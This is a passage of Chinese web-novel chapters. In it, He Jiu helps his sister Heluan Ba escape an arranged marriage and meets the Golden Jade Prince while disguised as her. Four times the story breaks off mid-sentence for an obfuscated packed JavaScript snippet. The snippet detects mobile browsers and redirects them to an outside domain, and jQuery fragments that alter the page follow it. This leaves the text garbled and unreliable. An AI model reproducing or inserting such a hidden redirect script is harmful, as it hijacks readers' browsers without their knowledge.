她感到好笑:“怎么长不大似的,还像幼时一样爱撒娇。” 贺究耳根微烫,嘟囔道:“还不是因为没娘疼,八姐像娘一样疼我。” 赫兰八把贺究抱得紧紧的,啧啧笑他:“我也没娘疼过,哪知道娘该如何疼人。你要知道,我们九个,说是儿女,其实不过是尊父的一部分,都是尊父的肋骨,哪有机会体会到天伦母爱。” 贺究把头埋在赫兰八的肩窝里,不说话了。 是的,尊父母胎单身,身为赫兰九的他当然没有感受过母爱。可是上辈子贺究的他却是泡在母爱里幸福长大的。 八姐总是无微不至呵护着他,八姐的爱就像母亲的爱一样,呃......虽然这份爱里也包括了经常拿法器恶搞他...... 总之,贺究无法接受美丽张扬的八姐有一天变得像画面里那样形销骨立,更无法接受八姐魂飞湮灭...... 姐弟俩相互依偎了一会儿,赫兰八缓缓道:“小九,你不想我离开你,所以不赞成我逃婚,是吗?” 贺究状态恢复了不少,心情也稍微好了些。 他从八姐的怀里挣脱出来,双手扶住她肩膀,注视着她的眼睛说:“不,八姐,我赞成你逃婚,而且我一定会帮你逃掉这个婚。” 贺究不清楚刚刚的头痛是怎么回事。 但他相信脑海里的那道预警。 如果八姐不逃这个婚,最终一定会死。 “也许尊父真的是为你好,但我没有尊父那么遥远的远见,我只知道你不开心,不喜欢被人推着去联姻成婚,所以我会帮你逃走。”贺究认真道。 “小九!你想好了?如果被尊父抓到,你我都难逃其咎。你真的决定帮我?”赫兰八激动地握住了贺究的手。 贺究拍拍他姐,狡黠地一笑:“所以我们要制定好计划,绝对不能让尊父当场抓到。” 赫兰八哦道:“莫非小九已经有想法了?” “算是有一点想法吧。我知道尊父两天后要去魔域一趟,尊父走后就是我们行动的最佳时机。”贺究打了个响指,表情比言语更有把握。 赫兰八勾唇:“果然,就属你鬼点子多。” 贺究嘿嘿:“管他鬼点子神点子,只要能办成事就是好点子,我们好好部署一下细节吧,两日后放手一搏。” “嗯,成败在此一举!”赫兰八热血沸腾。 一旁的彤婳长袖掩唇,感慨道:“你们姐弟同心,真叫人感动......我也要参与逃婚计划,若有什么是我能帮上忙的,请尽管知会。” 几人在赫兰八的闺苑待了很久很久,直到初步拟定了逃婚大作战的战略雏形,才各自回家。 ******** 时间在等待中总是格外漫长。 终于,两日后,赫兰尊帅前往魔域镇魔,贺究等的大好时机到来了。 在这两日里,贺究联合他八姐,想方设法准备好了一切能准备到的东西,也基本落实了八姐的逃婚路线。 现在万事俱备,只欠开跑。 然而,意料之外的事情发生了。 贺究前脚去和赫兰八会了合,后脚帝后那边就派人来召请赫兰八。 真是横插一脚,节外生枝。 不过,值得庆幸的是,这次召请,并非帝后要见赫兰八,而是她老人家在三川亭攒了一个局,要赫兰八前去和金玉太子见面。 真是难绷。 你说天庭界封建吧,他搞婚前约会。 你说天庭界开放吧,他又奉旨成婚。 “谁爱去谁去,谁想嫁谁去,横竖我不去,我要逃婚!”赫兰八气得牙痒痒。要不是彤婳拦住了她,战地装修风的闺苑还得进一步加深战损化程度。 彤婳也气,彤婳又气又愁:“我们刚要执行计划,帝后那边就来了旨意,别是小八想要逃婚的事走漏了风声,帝后故意来试探......” “不会吧,我不是说了要守口如瓶小心再小心吗?你们有谁说漏嘴了吗?”贺究眼角一跳,扬起眉梢。 “没有。”赫兰八,彤婳还有於见猫,都表示没有泄露风声。 贺究沉吟道:“也许帝后那边刚好就是巧合吧。机会难得,错过了这次不知道啥时候能有下次,我们计划不变,继续执行。” 极少开口的於见猫紧张道:“可是小仙君,帝后召见非同小可,若仙子没去,帝后必定会再派人来催,届时要是发现仙子并不在天庭......” “是啊是啊,帝后若是派人寻找小八,得知小八逃出天庭,那可就完了。”彤婳忧心忡忡地接道。 赫兰八焦躁地在房中来回踱步。 贺究没他们这么悲观。他说:“我们不是已经讨论过了么,八姐逃婚的事瞒不了多久,我们要做的只是尽可能拖延时间,让八姐尽可能逃得远一点。只要能为八姐多争取点时间,以八姐的本事,还有诸多法宝傍身,不被天庭找到的可能性还是挺大的。” 彤婳不解:“可是帝后下了召令,小八不能不去,我们的计划已经落空了。” 赫兰八:“那我见完了金玉太子再逃!” 彤婳:“若你去见金玉太子,不知要耽误多久,更不知会不会再额外生出其他变故......” “去也不行,不去也不行,那你说怎么着吧!”赫兰八郁气攻心,一抬腿把桌子给砸了。 这桌子本也是件珍玩宝物,被赫兰八这么暴力摔砸,当场报了废。 碎屑差一点溅到贺究脸上,让他在毁容的边缘横跳了一遭。 贺究默默踢开脚边碎屑,捡着能下脚的地儿蹭到赫兰八跟前,安抚她们道:“哎呀,两位姐姐别着急,你们没听明白我的意思,我有办法。” 几人同时看向贺究。 贺究问:“八姐还记得屠魄镜吗?” “那日你拿来找我看的屠魄镜?它又怎么了?”赫兰八蹙眉。显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660068|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,她现在并没有心情去管一面镜子。 贺究从兜里掏出屠魄镜放于手心:“八姐上次不是说,屠魄镜可以暂时混淆魂魄吗?” “难道,小九,你的意思是......?”赫兰八眸光闪动,有些不确定地看着贺究。 贺究哼哼一笑:“没错,我想我们可以利用屠魄镜,你扮成我去南天门,而我替你去见金玉太子,一切就迎刃而解了。” 赫兰八:“......” 於见猫:“......” 彤婳:“......” 三句话,让在场三个人都沉默了。 “你们为什么都这幅表情看我?”贺究费解地眨眼:“我觉得这个办法很好啊,计划还是原来的计划,唯一有变的只是八姐假冒我。假冒我还更方便呢,南天门的天兵对我客气着呢,要是我拿着偷来的令牌说要去追尊父,他们肯定不会多问。” 赫兰八:“......” 於见猫:“......” 彤婳:“......” 三人仍是沉默。 沉默沉默,都快把贺究沉默毛了。 贺究无语:“咋了!有意见就提嘛!时间不等人,我们集思广益,尽快想出办法来嘛。” 赫兰八叹了口气:“若按你说的,我假冒你从南天门离开,而你扮成我去见太子......一旦东窗事发,你必定会被我牵连,难以开脱。” 原来八姐是担心自己。 贺究摆摆手,不甚在意:“这还用得着八姐你提醒?我早想到了。八姐放心,问题不大,等他们找我兴师问罪了,我就把一切责任全推到你身上,我会说都是你骗了我,是你强迫我必须这么做的。嘿嘿,反正尊父疼我,帝后宠我,他们顶多骂我一顿,就算罚我,肯定也不会多重,你连累不到我什么的。” 赫兰八:“..................” 赫兰八心境几转,冷静下来细细品味弟弟的主意,觉得,似乎......也不是不行? 就是委屈弟弟了。 见几人都不吭声,贺究催促道:“哎呀,就这么办吧,我们也没时间再犹豫了。” 赫兰八猛然搂住贺究,给了他一个大大的拥抱。在贺究看不到的背面,罕见地红了眼眶。 贺究倒是很享受来自姐姐的温情。 尤其,这样的温情......可能以后再也享受不到了。 心里发酸,贺究十分珍惜地蹭着八姐撒娇:“不过,如此一来,八姐可就必须拼了命地逃亡咯,不然万一你被抓回来,咱们可是一块玩完儿。” 他的声音闷闷的,像蒙了层纱。 赫兰八用力抱着贺究,长叹一口气,怅然道:“放心吧九弟,姐姐哪怕死在外面也不会让天庭抓回来。” “那不行,要是真到了那一步,八姐你还是选择被抓吧,咱们回来一块挨罚,分担一下,肯定罪不至死。” “嗤,苟且偷生不如痛快去死,你八姐不是贪生怕死的人。” “我不管,我就要八姐活着,不然我就不帮你逃婚了。” “......” “好了,你们快别拌嘴了,听得我都快要哭死了。”彤婳感动地落泪,但没忘记问出心中疑惑:“可是,小九,屠魄镜只有一块,就算小八取了你的魂魄,可以假冒你瞒过天兵从南天门出去,可你要如何扮成小八去见金玉太子呢?” “哦,这个啊,这个好办,反正金玉太子从来没有见过我和八姐,我只要女装去见他就行了。”贺究胸有成竹地回答。 彤婳:“......” 於见猫:“......” 赫兰八:“......” 好好好,又玩沉默是吧。 贺究不满地撇嘴:“咋了捏?” 赫兰八比了个从贺究那学来的大拇指:“......不愧是你!” 8. 惜别 几人这边刚落实好对策,别苑外就又传来了通报。 果不其然,是帝后又派人来催了。 彤婳去到珍珠卷帘那儿朝外面张望了两眼,扭头对赫兰八他们说:“既然主意已经拿定,事不宜迟,你们快快换装,由我来应付宫人。” “有劳。”赫兰八递去一个感激的眼神。 彤婳冲她一笑,掀开卷帘出去了。 应付宫人,倒是不难。 现在帝后身边的人都知道赫兰八是敲定的准太子妃。准太子妃初次见太子,在梳妆打扮上多花些功夫,合情合理。 彤婳一番推说,宫人不疑有他。两人你来我往,把该走的流程走完后,宫人托彤婳在准太子妃面前替自己多美言几句,便笑盈盈地回去给帝后复命了。 这期间,贺究和赫兰八互相换好了对方的衣裳。 赫兰八拆了松散的发髻,将头发绑成高高的马尾,一身银裳飒爽风流,着手给贺究梳发化妆。 贺究穿上了紧紧巴巴的女装,感觉自己像一盘菜,被八姐盘来盘去。 这感觉当然不是很好。 他只好自我安慰,幸亏八姐不爱盛妆罗裙,否则更有他受的。 等彤婳回来了,看见梳妆台前手忙脚乱的姐弟俩,差点两眼一黑。 彤婳足下生风,当即施展法术飞了过去。 “还是我来吧。”把赫兰八拨到一边,彤婳接手了贺究的梳妆大任。 赫兰八自觉有被嫌弃到,双手抱臂,挑眉问:“怎么?我做得不好吗?” 贺究也疑惑地仰起头。 彤婳把贺究乱动的脑袋啪唧按了回去。她先是用清露洗去贺究脸上已有的妆粉,再轻车熟路地从赫兰八的各个妆匣里取出一堆瓶瓶罐罐,库库往他脸上扑。且她的速度奇快无比,从清洗到重塑妆容,耗费的时间加一块儿都比赫兰八快。 贺究:“......” 赫兰八:“......” 於见猫:“......” 沉默游戏再次开始。 只不过这次沉默者轮换了一个人。 彤婳手上忙活不停,接着迅速地给贺究盘弄头发。只是随着沉默时间的加长,她的脸上逐渐显露出“到底是我有问题还是你们有问题”的表情。 最先打破沉默的是贺究。 贺究属于不太爱捯饬的那一类人,破天荒被珠钗戴满了脑袋,他有些顶不住了,委婉地向彤婳申请减负:“彤婳姐姐,差不多就行了吧?我八姐从来也没这么隆重啊......” 彤婳嗔他道:“这是去见金玉太子,怎可与平时相比较?” 贺究撇嘴:“是去见金玉太子没错,但敷衍一下不就得了么,没必要搞得这么正式吧?再说我八姐从来不这样打扮,我弄成这样,不是引人注目嘛。” 赫兰八也开口道:“是啊,彤婳,我觉得我方才化得明明很好啊,我们小九本就俊俏,放下头发穿了女装,连我都被晃了两眼,这等天生丽质,哪需要俗物额外加持。” 贺究水灵灵地狂点头。 真的头好重! 谁懂! “动什么,尚未弄好呢。”彤婳一手捏一只耳朵,把贺究乱动的脑袋固定在两手之间,好气又好笑,抱怨道:“方才化得好?若是前去吊唁,确实挺好!” 赫兰八:“............” 彤婳:“老君送的易容丹还有剩才好呢,叫小九吃下去一颗,直接变幻成你的样子,省得我在这里吃力不讨好。” 赫兰八见她有几分真恼了,讪讪说:“怎会是吃力不讨好,你的好我会一直记着的......我不再多嘴就是了。” 贺究也赶紧哄她:“彤婳姐姐,我的意思是你化得过于好了,我主要是怕以后你不给我化了,我会产生巨大落差,心理失衡,再也接受不了丑陋的自己。” “狡辩也该寻个像样的理由。”彤婳嘴唇微翘。 贺究嘿嘿:“彤婳姐姐,你的美妆技术太高超了,把我化得国色天香,简直是诈骗。这也就是在天庭,换做是人间,你早成顶流美妆师嘞!” “行啦,知道你这小嘴最会哄人,在我们跟前怎样说话都没事,一会儿见了太子,可得谨言慎行,少说些奇怪的话。”彤婳哪会真的生气,姐弟俩三两句就把她哄得没了脾气。 於见猫突然道:“万一,金玉太子见了小仙君,动心了怎么办?” 彤婳:“......” 贺究:“......” 赫兰八:“......” 贺究嘶气:“好家伙我滴猫,你要么不开口,一开口就这么炸裂。我横竖是个男的,金玉太子动啥心。” 於见猫小声道:“......金玉太子又不知道。” 赫兰八噗嗤笑了:“我这弟弟,端的是艳光四射,不过放心好了,金玉太子是个纨绔,万花丛中过,片叶不沾身,他那样的人,对谁都不会有真心。” 於见猫的神情这才稍微好看些。 “意思是他可能会跟我玩玩?”贺究摩挲着下巴说。 瞬间於见猫又绷紧了脸颊。 赫兰八瞧得分明,锤墙哈哈大笑。 彤婳总算弄完了贺究的妆造,让他起身,教他把衣裙整理得体,待一切妥切后,她才幽叹道:“太子的心思岂是我们能知晓的,我们能做的只有帮小八离开,至于其他......只能走一步看一步了。” “船到桥头自然直,车到山前必有路,干就完了。”贺究别别扭扭地提着裙摆,走了几步,差不多也就适应了女装。 比起操心金玉太子,贺究更操心的是屠魄镜好不好用。 “现在就差取魂魄了。来吧八姐!不要怜惜我!要多少取多少! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660069|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”贺究闭上眼睛把脖颈一伸,悲怆得跟壮士扼腕似的。 赫兰八抬手摸了摸弟弟的小脸,感动道:“只消取你一丝魂魄即可,以你的资质,个把月便能恢复。” “取吧取吧,我反正一直待在天庭,爹和哥哥们会照顾我的,八姐你别不够用就行。”贺究生怕他姐舍不得下手。 无人注意的角落,於见猫悄悄攥紧了手心。 於见猫知道小仙君是很珍重神魂的。 屠魄镜只是碰了他一下,小仙君就生气紧张成那样。 可是轮到小仙君自己,他却如此大方割舍...... 於见猫真恨自己无用,不能代替小仙君献出神魂。 所幸赫兰八手法老练,很快就取好了魂魄,贺究全程睁大眼睛,没感到一点疼痛。 “好了?”贺究问。 “好了。”赫兰八答。顺便把魂魄封进屠魄镜中,妥善地收好。 几乎是立竿见影,房间里,赫兰八的气息蓦然隐去了,两个“贺究”相映相辉。 彤婳赞叹道:“屠魄镜甚是精妙。” 贺究眨眼:“哇噢,八姐,你怎么这么熟练。” 赫兰八轻笑:“无他,唯手熟尔。” 贺究嘴角轻抽:“......八姐你......不要这么平静地说这么离谱的话好么,简直比魔头还要魔头哇。” “不说笑了,小九,谢谢你愿意为我犯险,将来若能再见,八姐一定报答你。”赫兰八语气正经起来,眼底流露出不舍。 贺究一怔。 到了......分别的时刻了。 喉咙有些干,贺究说:“我不用什么报答,只要八姐好好的,我就会心满意足。” “小八,你从来是有主见的人,这一别,你我怕是再难见面了,你一定要保重。”彤婳也伤感地过去握住赫兰八的手,落泪与她依依惜别。 “嗯,你们也要保重。”赫兰八眼眶酸涩,点了点头。 “八姐,最后抱一下吧。”贺究张开了双臂。 赫兰八重重地抱住贺究,在他耳边细声说:“以后,尊父和兄长们那边,你多担待了。” 贺究:“放心吧八姐,这里一切都交给我,你只管远走高飞。逃婚后你一定要幸福啊,要永远像现在这样张扬勇敢,永远不被命运裹挟。” 说完后贺究愣住了。 前半句话是他想说的没错,可是后半句......他自己也不清楚是怎么回事,下意识就脱口而出了。 关键这话根本就不像是自己能说出来的。 贺究莫名起了一阵鸡皮疙瘩...... 赫兰八无所察觉,郑重颔首:“我会的。” 时不我待。 惜别。 终有一别。 四人踏出珍珠卷帘。朗朗青天之下,各自奔赴要去的方向。 9. 三川鸽王 女装和惜别花了些时间,去往三川亭的路上,贺究丝毫不敢懈慢,使出全力往那儿赶。 偶尔前路上看到有仙奴,贺究就额外加速,风风火火得如同一道残影,只叫人看见一角飘逸的裙角。 这样紧赶慢赶,好不容易赶到召令里的三川亭了,万万没想到,亭子里竟然没人! 贺究:“......??” 贺究一整个裂开。 啥情况? 是来晚了? 还是来错地方了? 不应当呐...... 贺究摸不着头脑,只能顺着峭壁岩道前进,先攀登到三川亭子里瞧瞧。 三川亭悬在千仞绝壁之上,八角飞檐刺破流云,崖边红枫烈烈似火,枝干如兽爪般扣住亭台基座,有风来,红叶飞扬,整座亭子如同飘在血雾中的蜃楼。 美则美矣,但过于凄艳,总给人以一种瘆瘆的阴森感。 纵是贺究这样算得上胆大的人,踩过咔擦咔擦脆响的枫叶,心里也有点发毛,真想一把业火烧了它们。 “......选在这里约会真的好吗?”贺究无力吐槽。 走进亭子,贺究转了两圈,坐了一坐,亭中气息纯然,因为他的到来才打开一个缺口,注入了人的生气。 也就是说,在他之前,短时间内没人来过。 “靠!亏我还担心迟到太久令人生疑,敢情金玉太子压根没来!”贺究真是醉了,同时心中涌起一丝微妙的不爽:“这家伙竟然敢放我八姐的鸽子!” 不过贺究转念一想,金玉太子来都不来,是否意味着他也不赞成联姻? 八姐说金玉太子是个流连花丛不务正业的纨绔,没准他根本没有娶妻的心思呢? 如果是这样,那八姐还有必要逃婚吗? 不对不对,头脑里的预感那么真切,如果八姐不逃婚,这场联姻势在必行,八姐绝对会死。 贺究:“......” 身处悬崖峭壁,贺究打了个寒噤。 贺究一直以为,穿越至今,他对新环境新身份已经足够了解了。 可是现在,他却不这么觉得了。 天庭也好。 他自身也好。 他所谓的“了解”,可能只是冰山一角。 贺究:“............” 多思无益。 事已至此,先先回去吧。 回去不用像来时那么赶,贺究放缓了速度,脑子里忍不住想东想西。 想八姐是否顺利出了南天门。 想帝后和尊父为何要八姐嫁太子。 想自己脑中频频出现的预感究竟是怎么回事。 种种种种...... 不知不觉中,人已走到山脚。 不知为何,这等僻静之处,竟然多出了十好几个人,结成几队,横在贺究的必经之路上逗留。 贺究疑惑地退到一棵树后,悄然观察他们。 “好像是靖灵学宫的人?” 贺究认出其中两个仙家是靖灵学宫的老师。 “啊......今天是靖灵学宫开学的日子吧。” 真麻烦...... 怎么偏偏遇上新生开学了。 新生倒是无所谓,主要是老师。 由于战神有心送贺究去靖灵学宫深造,学宫里的老师全都认得贺究。 贺究不会伪装气息,这会儿穿着女装,要是被老师们认出来了...... 哎呦,画面太美,他都不敢想。 “惹不起惹不起,小爷绕道走。”贺究惹不起还躲不起么,直接一个改道,先溜为敬。 绕道走就得走三川河。 三川河地势并不高,河水却湍急,偶尔有枫叶落下,刚触及河面就被卷碎了。 沿着河边一直走,贺究看见前方立有一块赑屃驮着的石碑。 “川流不息。”贺究脱口而出。 贺究:“......” 又来?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660070|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这种嘴不经过大脑自行说话的事一天发生两次? “真是怪了,我之前可没来过这......我倒要去看看,这碑面上写得是不是川流不息!”贺究有点恼火,快步蹿了过去。 待看见碑面。 贺究傻眼了。 真的是“川流不息”。 贺究:“............” 可恶啊,这种没由来的既视感,快让他有点毛骨悚然了。 莫非是脑海的预感功能升级了? 这是新版本的金手指? ......新版本的金手指可真调皮,主打一个惊吓。 贺究压下复杂的心绪,打算继续往回走。 可就在这时,那刚刚被他吐槽的“金手指”,再次毫无预兆地向他发来了预感—— ——等他。 贺究:“???” 等他? 他是谁? 为什么要等他? 大脑一片空白。 预感下线了。 贺究:“............” 贺究茫然地站在“川流不息”前,一时间不知道该走还是该留。 预感从来不说废话。 也许留下来,真的会等到谁过来? “......好吧,等就等吧,我就等上一会儿,倒要看看会等到谁来。”贺究往赑屃上一跳,坐上它的脑袋,背靠石碑就这么等了起来。 时间一分一秒流逝。 三川的河水川流不息。 可无论是前路还是后路,始终不见人影。 贺究的耐心一点点消耗殆尽。 “再给他一首歌的时间,要是小爷唱完这首歌他还没来,就爱谁等谁等去吧。” “......我等的人他在多远的未来,我听见风来自天庭和脑海,我排着队,拿着想打他的号码牌......” 潮湿的风吹拂而过,贺究哼唱着上辈子听过的忘了歌名的歌。 10. 金玉太子 一首歌的时间完了。 贺究的视线范围内仍是连个人影都没瞧见。 最后的耐心耗尽,贺究跳下赑屃。 如洗的碧空突然变暗,流云中似有一缕黑气穿梭而过。 贺究心头一跳,抬头望天。 可天还是一直以来的天,几朵流云淡淡地点缀在青碧天幕中,与地帷奔腾的三川河水交相辉映。 贺究:“......” 错觉吗? 贺究微微启唇,无言地眨了眨眼。 “不管了,半天不见人,谁知道究竟要等多久,我还急着去问八姐那边的情况呢。”贺究不再继续耗着,快着步子往回走。 待贺究走远了,赑屃碑后,三川河下,有三人包裹在灿灿金光中,缓缓浮出水面。 正是金玉太子,以及常伴他左右的沃隆与奉褚。 三人目视贺究离开的方向,脸上挂着不同程度的古怪。 “这是赫兰八?”沃隆语调奇怪。 “如此美艳,应该是赫兰八无疑。”奉褚颔首。 沃隆嫌弃地瞥了眼奉褚,嘲讽他道:“你该好好治治眼睛了,那眉眼,一点也不温香软玉,硬得倒像个男人。还有,不知为何,我总觉得她有点眼熟......” “你们两个蠢货,这根本不是赫兰八,而是那日在蟠桃林的赫兰九。”金玉太子脸色铁青。 “啊!原来是赫兰九!对!就是他!”沃隆想起来了,立即叫道:“好啊,胆大包天的赫兰九,竟然敢冒充赫兰八来私会太子。” 奉褚接道:“是未遂。私会未遂。” “这重要吗?重要的难道不是他胆敢欺骗太子殿下吗?”沃隆大声道。 “都闭嘴。”金玉撤掉包裹住三人的金色光边,先一步上岸,走到贺究停留许久的赑屃石碑前。 金玉眼含疑惑:“这个赫兰九是怎么回事?先不论他为何要不惜女装代替赫兰八前来赴约,既是来了,在三川亭不见我,等,也该在三川亭等才是,为何要在这儿等?” 经过了方才的呵斥,沃隆压低洪亮嗓门,老实地拱手,轻声细语道:“莫非,赫兰九早已发现我们等在三川亭外,故意戏耍我们?” “什么?那他也知道我们在跟踪他了?”奉褚悟了:“难怪他一直在唱那么难听的曲子,原来是故意在荼毒我们的耳朵。” 金玉摇头:“赫兰九并未发现我们。自始至终都没有。” 奉褚吃惊:“所以那是他真正的唱曲水平?” 沃隆咚地给了奉褚头顶一拳,没好气道:“虽然那魔音是有些穿耳,但你没见太子殿下现在心烦的是其他事吗?不提曲子你会死吗?” 金玉懒得再呵斥这两个不着调的跟班,冷冷道:“比起赫兰九为何冒充赫兰八,我现在更疑惑的是,方才那一闪而过的邪气是何物。” “邪气?”沃隆奉褚异口同声。 金玉负起双手:“就你们两个的修为,没有注意到,情有可原。” 沃隆:“......” 奉褚:“......” 金玉:“竟有邪气胆敢入侵天庭,真不知道这如今的天庭守卫是谁在负责的。” 沃隆立马抢答:“还能有谁,当然是战神了。” 金玉:“呵呵,那我便要向帝父问问,赫兰尊帅是如何负责天庭安危的,倘若他年事已高,担不起这职责,还是尽快换个人做才好。” 沃隆和奉褚连忙在一旁附和,顺带着争先恐后推举自家的势力。 金玉被他们二人吵的有些心烦,打发他们道:“这几日你们不要在跟着我了。” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660071|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么!??”沃隆奉褚俱是一惊。 金玉鄙夷地看着他们惊骇又讨好的堆笑,又道:“有别的事让你们去做。” 沃隆奉褚齐齐跪下,同声道:“请太子殿下吩咐!” “难得你们二人有如此同步的时候。”金玉鄙夷更甚,吩咐道:“这几日,你们去盯着赫兰九,顺便查查他以往都做些什么。” “太子要查赫兰九?”沃隆问。 “太子妃赫兰八那边不需要盯着吗?”奉褚问。 “混账!我几时说要立太子妃了?是母后非要把那女人塞给我。母后可真是我的好母后,明明知道我厌恶赫兰氏,还偏要将赫兰尊帅用肋骨捏成的女儿推给我成亲,本太子想想都要吐!” 沃隆和奉褚两人立刻赔罪赔笑,抚平太子的怒气。 金玉:“你们是好奇我为何要查赫兰九吧。” “这......” 沃隆和奉褚对视了一眼。 谁也不敢赶在这档口真开口问啊。 “别问这么多,让你们查,你们就乖乖去查。现在就去。”金玉傲然道。 “是,我们这就去。”沃隆凤雏二人行了礼,麻溜地跑了。 哎,伴君如伴虎,金玉太子喜怒无常,可真难伺候! 二人一走,便只剩下金玉一人在三川河边。 他站在赑屃碑前,萦绕在胸中的郁气和疑惑不减反增。 赫兰九...... 究竟是怎么回事? 他明明和赫兰八一样,只是赫兰尊帅从身体里抽出来的一根肮脏肋骨,为何却能得万寿桃另眼相看? 又为何,他的修为如此低微,却注意到了沃隆奉褚二人都没有注意到的邪气? 还有...... 那一闪而过的邪气,又是何物?